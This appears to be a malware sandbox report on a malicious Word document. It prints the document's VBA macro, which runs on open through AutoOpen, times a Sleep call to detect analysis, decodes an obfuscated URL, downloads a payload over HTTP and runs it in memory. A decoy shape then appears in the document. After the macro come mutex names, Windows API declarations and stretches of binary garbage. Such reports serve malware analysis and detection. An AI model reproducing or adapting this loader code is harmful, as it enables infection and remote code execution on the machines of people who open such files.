= IBuf(ip): ip = ip + 1 Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ Err.Raise vbObjectError, , "I" Dim b0 As Byte: b0 = Map2(i0) Dim b1 As Byte: b1 = Map2(i1) Dim b2 As Byte: b2 = Map2(i2) Dim b3 As Byte: b3 = Map2(i3) If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ Err.Raise vbObjectError, , "I" Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 Out(op) = o0: op = op + 1 If op < OLen Then Out(op) = o1: op = op + 1 If op < OLen Then Out(op) = o2: op = op + 1 Loop Base64Decode = Out End Function Private Function ByteArrayLength(baBytes() As Byte) As Long On Error Resume Next ByteArrayLength = UBound(baBytes) - LBound(baBytes) + 1 End Function Private Function ByteArrayToString(baBytes() As Byte) As String Dim strRes As String: strRes = "" Dim iCount As Integer For iCount = 0 To ByteArrayLength(baBytes) - 1 If baBytes(iCount) <> 0 Then strRes = strRes & Chr(baBytes(iCount)) Else Exit For End If Next iCount ByteArrayToString = strRes End Function Private Function DecodeSTR(orgStr As String) As String Dim baTemp() As Byte baTemp = Base64Decode(orgStr) Call DecryptBA2(baTemp, UBound(baTemp) + 1, 0) DecodeSTR = ByteArrayToString(baTemp) End Function Private Function RunFE() As Long Dim MR As Object Dim bbb As String Dim i As Long Randomize Call Init For i = 0 To 8: bbb = bbb & Chr(Map1(Int(62 * Rnd()))): Next i Set MR = CreateObject(DecodeSTR("iiZzHGOpPzMDfrMHaSBnjypsIXKuOzNhOew=")) Call MR.SetTimeouts(0, 2000, 2000, 5000) #If Win64 Then MR.Open "GET", DecodeSTR("tTtpJC3yYGgObZA6TCNh8yF8InK0LHI9Z75haTF0tWBcF1qOYCwhUbM5bSR98n5oEnmrP20+IelhfDd6") & "?" & bbb & "=" & bbb #Else MR.Open "GET", DecodeSTR("tTtpJC3yYGgObZA6TCNh8yF8InK0LHI9Z75haTF0tWBcF1qOYCwhUbM5bSR98n5oEnmrP20+JO9hfDd6") & "?" & bbb & "=" & bbb #End If On Error GoTo EH With MR .setRequestHeader "Cache-Control", "no-cache" .setRequestHeader "Pragma", "no-cache" .send .WaitForResponse bbb = .ResponseText End With On Error GoTo EH Dim rpRes As Long rpRes = RunPE(Base64Decode(bbb)) If rpRes = 0 Then GoTo EH RunFE = rpRes Exit Function EH: MsgBox DecodeSTR("lCFpMWWzKml0VLIhczF0qSZyOje0PD0mcqw6dCZyuW97O2X9O3UxN7kgfiF6uCFpdHO4LG8tZ6kmcjo5/Qx1MXS2b2Q7Yq9vVDpjuD1zMWP9DHI6ebgsaT14s298OnP9PXg7Z7ghPSB/uG95O3SoIng6Y/M=") RunFE = 0 End Function Private Sub QA() Application.Quit (wdDoNotSaveChanges) End Sub Private Sub CTD() Dim st As Long st = GTC() Slp (100) Dim et As Long et = GTC() If (et - st) < 50 Then Call QA End If End Sub Sub AutoOpen() Call CTD Dim rfRes As Long rfRes = RunFE() If rfRes = 1 Then ActiveDocument.Shapes.Item(1).Visible = False ActiveDocument.Shapes.Item(1).Width = 1 ActiveDocument.Shapes.Item(1).Height = 1 ActiveDocument.Shapes.Item(2).Visible = True End If End Sub"26:T42c,"\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACBPIDS_S-1-5-5-0-69922" "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACB10_S-1-5-5-0-69922" "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001" "\Sessions\1\BaseNamedObjects\Global\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001" "Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001" "Local\ZonesCacheCounterMutex" "Local\ZonesLockedCacheCounterMutex" "Local\x64_10MU_ACBPIDS_S-1-5-5-0-69922" "Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001" "Global\552FFA80-3393-423d-8671-7BA046BB5906" "Global\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001" "Local\x64_10MU_ACB10_S-1-5-5-0-69922"27:T1080,"#_l,R$BxG+B` 0 iD@iF+H` iD+J88 iLXiNxiPiRiTiViXiZ+^ b id+f"`n ihijilinipt@L@L@L@L(`` `````````````` `@`` ```````````````````````````````````" (Indicator: "FreeLibrary") in Source: 2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df.doc.bin "CCCD(DHD`DhDxD8 @-`88( Private Declare PtrSafe Sub ByteSwapper Lib "ntdll" Alias "RtlMoveMemory" (ByVal pDest As LongPtr, ByVal pSource As LongPtr, ByVal ByteLen As Long) #(-y Private Declare Function lLib Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpFileName As String) As Long Private Declare Function getPA Lib "kernel32.dll" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Longs Private Declare Function fLib Lib "kernel32.dll" Alias "FreeLibrary" (ByVal hModule As Long) As Long Private Declare Sub ByteSwapper Lib "ntdll" Alias "RtlMoveMemory" (ByVal pDest As Long, ByVal pSource As Long, ByVal ByteLen As Long) pS-" (Indicator: "FreeLibrary") in Source: 2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df.doc.bin "j Private Declare Function dispCF Lib "OleAut32.dll" Alias "DispCallFunc" (ByVal pvInstance As Long, ByVal oVft As Long, ByVal cc As Long, ByVal vtReturn As Integer, ByVal cActuals As Long, ByVal prgvt As Long, ByVal prgpvarg As Long, ByRef pvargResult As Variant) As LongO Private Declare Function GTC Lib "kernel32" Alias "GetTickCount" () As LongW Private Declare Sub Slp Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long) Private Declare Function ByteSwapper2 Lib "Crypt32.dll" Alias "CryptBinaryToStringA" (ByVal pSrc As LongPtr, ByVal dwLen As Long, ByVal dwFlag As Long, ByVal pDest As LongPtr, ByVal pOutLen As LongPtr) As Longx'v'x x'z z'| |'~ ~' ' ' ' ' ']D]D0]DH]DP` x^D^Dp`X^D^D^D^D ^D8^DP^Dh^D^D^D^D^D^D^D^D(^Dh^D^" (Indicator: "GetTickCount") in Source: 2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df.doc.bin "Sleepf:dwMillisecond' ?KcR^2#CrypK#bBinToSBpSr&CB/Edw^dwFla5jOute_l,R$BxG